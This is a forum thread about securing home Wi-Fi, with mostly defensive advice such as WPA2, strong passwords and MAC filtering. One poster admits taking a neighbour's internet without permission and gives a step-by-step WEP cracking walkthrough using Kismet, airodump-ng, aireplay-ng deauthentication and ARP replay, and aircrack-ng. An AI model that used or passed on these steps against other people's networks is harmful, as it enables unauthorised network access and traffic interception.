Securing My Wi-Fi

Hello! Can anyone give me a step by step into securing my Wi-Fi! Thank you...

reply to post by TopherWayne


It depends on your wireless router as to the setup process. It should be in the manual. You need to log into the router (usually you can do that by going to 192.168.1.1... or 192.168.0.1... ). Then you need to configure the wireless network and the type of security it will use (WEP, WPA, EAP etc). You will need to choose a password/key when setting it up. When you try to connect to the wireless network you will be required to enter that password.

Originally posted by TopherWayne
Hello! Can anyone give me a step by step into securing my Wi-Fi! Thank you...

And also lock down so it only connects to the MAC-addresses (hardware address) WiFi cards that you own.
It is listed as "MAC-Filtering" in your router.

go to the store and buy a bunch of cat6 cable.

wifi secured.

reply to post by TopherWayne


yes make a password that's 13 letters and mix in some numbers. Bang! securing your computer well you will want to not log on as an admin user, use an anti virus and spam blocker, update them always. change the admin user name. use admin user offline only. run a virus checker on emails attachments and up dates. Here's some info on the subject wiki.answers.com... and this www.komando.com...

reply to post by tomten


neat i didn't know you could do that so basically it only responds to your address what if someone comes over and wants to get on his wifi waa wa waaaaaaa unless they use his computer they are screwed or he will have to change that setting. Just make a secure password

reply to post by RelentlessLurker


go to the store and buy a bunch of cat6 cable.

wifi secured. ahahahahah wrong it isn't wifi anymore and cat6 can be tapped into but fiber optics cant if we are talking about security lol

reply to post by TopherWayne


Hey Topher, a lot of good information here so far, but I wanted to add to be sure to change your router's password as well - most come with no password or a simple default entry - in addition to using a secure password for your wireless connection.

If interested, I'd also like to recommend the program Password Safe, which can generate random passwords for you as well as being your secure database for saving all your account & password info for you. There are related add-ons for firefox and other programs, but I've had no complaints about it so far.

Good luck - watch out for pirates!

Hi there I would really not use wifi, i can tell you right now it takes only minuites to crack wifi passwords, i can get a WEP key no matter in length in a maximum of 10mins. Using WPA is alot better but it still has it weeknesses if you use GPU (Graphics Card) cracking you can munch some serious numbers quick. For example a nvidia 9800GT will crack passowrds at 10,000 keys per second a GTX 480 will crack around 65,000 per second and if you are lucy enough to have a ATI HD 5970 you can crack over 100,000 per second dont quote me on this but i think there is around a maximum of 300,000,000 combinations. Even tho the number is huge it is still very possiable to crack espically for multi GPU computers if you had a few GPU's like i said you could get this password with in a day quite easy. I know this as i use someone elses internet and i seriously would advise not to use wifi not unless your going to actually have the proper equipment like sonic wall.

Most business do not like using wifi due to the lack of security with in it and more so that a hacker could be out side say MICROSOFT get there..CAP file send it through a mobile broadband usb dongle via email to the CRACKING COMPUTER the cracking computer will then munch the password and as i said if you had a multi GPU based computer and you could have the password quickly and not need to have a massive cluster machine with you just a old dell net book running Linux backtrack. I would seriously think agienst WIFI as you will have people like me using it and you would not even know it and you might say but i could see them in the network but thats easy to get round you can actually make yhour somputer hidden really easy.And also more so once there on your network your machine is completely open for attack. So your ebay paypal and email and even bank passwords coudl all be got easy and you could be bankrupt over night if the hacker wanted to be nasty. But were not all like that some like my self just want the free net. but be carefull ok use direct cable.

and if you dont belive what i saying go on youtube there is tones of stuff on there and also go to xbox360iso.com i even write a guide how to do it.

anyway laters all

Originally posted by CanYouHandleTheTruth
reply to post by TopherWayne

 

It depends on your wireless router as to the setup process. It should be in the manual. You need to log into the router (usually you can do that by going to 192.168.1.1... or 192.168.0.1... ). Then you need to configure the wireless network and the type of security it will use (WEP, WPA, EAP etc). You will need to choose a password/key when setting it up. When you try to connect to the wireless network you will be required to enter that password.

Also MAC filtering is absolutly useless honistly if you spoof your mac address with a client address then you have access. JUST DONT USE WIFI

reply to post by TopherWayne


I wanted to add a few additional points as johnaldo165 bring up some good concerns.

WEP is definitely a problem, even the newer version WEP2. WPA2 security is currently about as good as you'll get, usually this also involves AES (gov't-level) encryption security keys. The strength of your key is also important - probably overkill, but my network has a 63-character random ASCII password generated with Password Safe.

Since you likely won't face an SERIOUS cracking attempts, you can also get a basic level of additional security for neighborhood leeches by not broadcasting your SSID if you have the option. This way, people in the neighborhood also have to know your SSID before trying any play with your password.

Probably safest not to use wireless if your home setup allows such, but with proper security protocols and password structure you realistically should be just fine. Since I remembered to change the admin password to my old router, I've had no issues whatsoever.

reply to post by pcrobotwolf


you would have to come on to my property to "tap" my hardwired network.

i have many things that can kill a man on my property.

wifi is not and never will be secure.

reply to post by Praetorius


maybe when dealing with the random neighbourhood kiddie, but what are you going to do when a big multinational conglomerate such a google drives by and intercepts all your bytes? only to be later decrypted with their seemingly infinite storage and computing power?

these days, even the local neighborhood kiddie may have the resources to do it himself.

en.wikipedia.org...

reply to post by RelentlessLurker


Honestly I'm not too worried about Google trying to crack my wireless network, and this review of the time required to crack a 63-character ASCII password somewhat sets me at ease:

How long would it take a modern computer to crack a 63 character WPA key derived from random printable ASCII?

"Assuming a decent utility is used, a 31 character long password of random upper- and lowercase letters and numbers results in 62^31, or 3.7×10^55 possible combinations.

If we assume 60 attempts per second, it will take more that 1.3×10^36 times the age of the universe (15 billion years) to attempt every possible combination. The average time would be half that, or 6.5×10^35 times the age of the universe.

Even if someone were to come up with a scheme that reduced the bruteforce time to 1 trillionth of what would be required otherwise, it would still take 6.5×10^23 times the age of the universe. And so on…

Unless someone find another way to get the password (e.g., can determine from traffic (like with WEP), beats it out of me, hacks my laptop, etc.), my WAP will remain secure until long after I’m dead."

I'm not saying it's not something to be concerned about, but it's not something I'm seriously concerned about. I'm of the opinion they'll be looking for easier fare, for different reasons, and running into them online is more of a worry for me - hence Ixquick, peerblock, and various other services I use.

As far as my wireless connection goes, neighbors pirating my service bothers me most, as that is what will either eat up my bandwidth or get me arrested for their kiddie porn habits!

Thanks for the reply, your point is well-taken.

hi

For cracking networks costs pritty much nothing just time, I had a 3 network mobile broadband pay as you go dongle which was costing me £15 for 7GB download limit. As you can imagine its not cheap espically when going on youtube watching videos is aprox 1min for 1MB you do not get alot for your money. This actually led me to actually look for how i can get internet cheaply and well wifi was the only way, Considering that all my of my naighbers have protected there networks i was led to see how dificult it was to crack wifi.

I downloaded a huge amount of tools that say we can get WEP keys well none of them actually worked and then i actually stumbled on a linux board after many nights trying to work out how to use linux let alone trying to actually crack passwords it was very dificult at first but with reading and reading i was progressing and also i was very limited to how much i could read as i said before i had to top up £15 to get another data allowence and i did not want to do this. With brute force and determanition i was dedicating my time to actually achive this as now it was almost a personal goal for me. I sat up till 4am most morning and awake earlie trying and trying and then i i was looking at my notes i write down and started to actually play with the commands which i was actually secsessfull in actually cracking my first network, with this i actually write down what i needed to do and once i was back online using a proper fixed connection i was able to get back reading. This also actually very nearly led me into being in trouble with the police for a serious charge. I learnet how to crack WEP now i wanted to crack WPA i read about how some wifi dongles have a much better range i found a good one on ebay and actually brought 1 and i have to say i still use it now almost 18months later still using the same wifi network i orignaly cracked, over time i did learn how to crack WPA but this is actually a bit more dificult as WPA uses something called the 3 way handshake cracking wpa also requires a client on the network as you have to deathticate the client and then the client is forced to send the network key over again which this time you are recording and then you capture. once you caputred you can begin the crack. Now i will actually show you how easy it actually is to crack and ill give you links to practise on your own network so if your using WEP change it quick

step 1 download these

Linux Backtrack 3 or 4 (3 is better as 4 is full of bs tools) also get a iso burner if not using vista or 7 but active iso is a good 1

now restart your comuter with the disk in the drive as this is a live cd and will boot from disk

once in click on the black computer screen this brings up a command prompt like in windows but is called a shell in linux

Now type in KISMET

once this is open you can see your network in the list get the mac address for your network it should be 11:22:33:44:55:66 but it is a hexdec number so will be diffrent but you can see what i mean ALSO GET THE CHANNEL NUMBER

now open another computer screen again and type in AIRODUMP-NG -W /ROOT/WEPKEYS --CHANNEL (CHANNEL OF THE NETWORK) --BSSID (NETWORK MAC ADDRESS) WLAN0
SO FOR EXAMPLE IT WOULD LOOK LIKE THIS

AIRODUMP-NG -W /ROOT/WEPKEYS --CHANNEL 1 --BSSID 11:22:33:44:55:66 WLAN0

NOW IT WILL BE RECORDING THE NETWORK ACTIVITY

NOW TYPE IN AIREPLAY-NG -0 -A (MAC ADDRESS OF NETWORK) WLAN0

NOW THIS AIREPLAY-NG -3 -B (NETWORK ADDRESS) WLAN0

THIS WILL SEND LOADS OF PACKETS TO THE ROUTER FORCING IT TO GIVE UP THE KEY

NOW ONCE YOU GOT ABOUT 20,000 - 100,000 ARP's NOW OPEN ANOTHER SHELL

AND TYPE IN AIRCRACK-NG (AND DRAG THE FILE FROM DESKTOP TO THIS SCREEN)

AND YOUR DONE IT SHOULD SAY YOUR NETWORK KEY WITH IN A FEW MINS

ALSO THE BEST WIFI DEVICE FOR THIS IS THE Alfa Network AWUS036H WHICH 1 ON EBAY CAN BE BROUGHT FOR £28

cgi.ebay.co.uk...

i wanted to show you all do not use wifi unless you really have to i hope you can use what i put above to protect your selves. remember if its not wired its not safe.

reply to post by Praetorius


realistically your probably right.

however that explanation is only dealing with your standard brute force attack.

the way i see it, wifi is sort of like trying to have a private conversation with a person a block away using a megaphone. sure you can speak in code and hope that nobody has interest enough to sit there and figure out what your saying. but the second you broadcast your message, its out there for anybody to receive, and they have the rest of eternity to do with it what they will. on top of that you have no way of even knowing how many parties are receiving it. what about future vulnerabilities?

as cool and technologically advanced a megaphone is...2 cups and a string will suffice just fine to secure conversation. it may seem primitive, but at least you always know exactly who is connected to your cup.

to me the trade off of convenience/security is not even in the same realm as worth it. a long enough cable will go wherever a network card/router will (further actually). Personally, i dont run laps around my house while i check my email, so mobility isnt really an issue.

whats 100ft of cat6 costs these days anyway? far less than a router.

to me the advent of wifi was just somebodies eagerness to make network infrastructure more open. and all that says to me is it was secure enough to begin with

it seems that the only peace of mind offered with the increasingly less private facets of our lives, is the self-assured idea that somebody is "probably not" exploiting an existing vulnerability. this is a dangerous paradigm shift that i personally cannot ever get use to. i have more faith in myself attempting to secure said vulnerability, than in mankind leaving it alone. and this goes far beyond the realm of computing....but thats a discussion for another time perhaps.

just my 2 peso's.

well said above with how the world has gone tech mad over the last 20 years, you can see that the hackers at the moment are right on ball with breaking codes. More so i can see how this has become a huge problem as years ago you did not see big hacker groups but as soon as the internet really took off they could all form groups. How many time have you gone into a pub and seen a hacker? None is prob the answer but how many times have you sen a theif? loads the problem is haskers are really hidden away and you only hear about what they have done but never know who they are or what they look like. Also with this big thing about making your bank cards have wireless touch technology is a absolute load of BS thats basicly saying to a theif ill put my wallet on the wall and ill turn round for 5 mins and lets see if its there after. its all BS anything thats has a wireless conection is not secure as anyone with the right equipment can get it and when money is envolved its always a poblem. Honistly dont use wifi and dont use them bank cards either think hackers can tamper cash machines which are fixed in a wall so getting information that is just floating around is just too easy.

Thanks for all the helpful comments, fellas.

As already stated above, don't use WEP and think you're safe as it can be cracked in minutes. As far as making Wifi secure goes, I suggest WPA2 with a nice long password containing lower and uppercase, numbers, and symbols. Then if you're router has the option, be sure to turn "Wireless Isolation" on, that way if the unlikely event that someone does crack you WPA key, then they can't perform a "Man in the middle" and monitor everything happening on your network from what sites you visit to your passwords. Also you can flip on Mac filtering to just up your security a tidbit and add another obstacle, though an attack could just spoof their mac.

First, for a secure network connection, the best wifi is no wifi. Get a wire.
Second, if you must use wifi, do not use WEP, use MAC filtering, and tell your router not to broadcast the network name (SSID).
Third, your wireless router may support an alternate firmware to give you more control such as DD-WRT.

Lastly, no matter how secure your connection is, treat it as if it is not only wide-open, but advertising its presence, because in theory it is.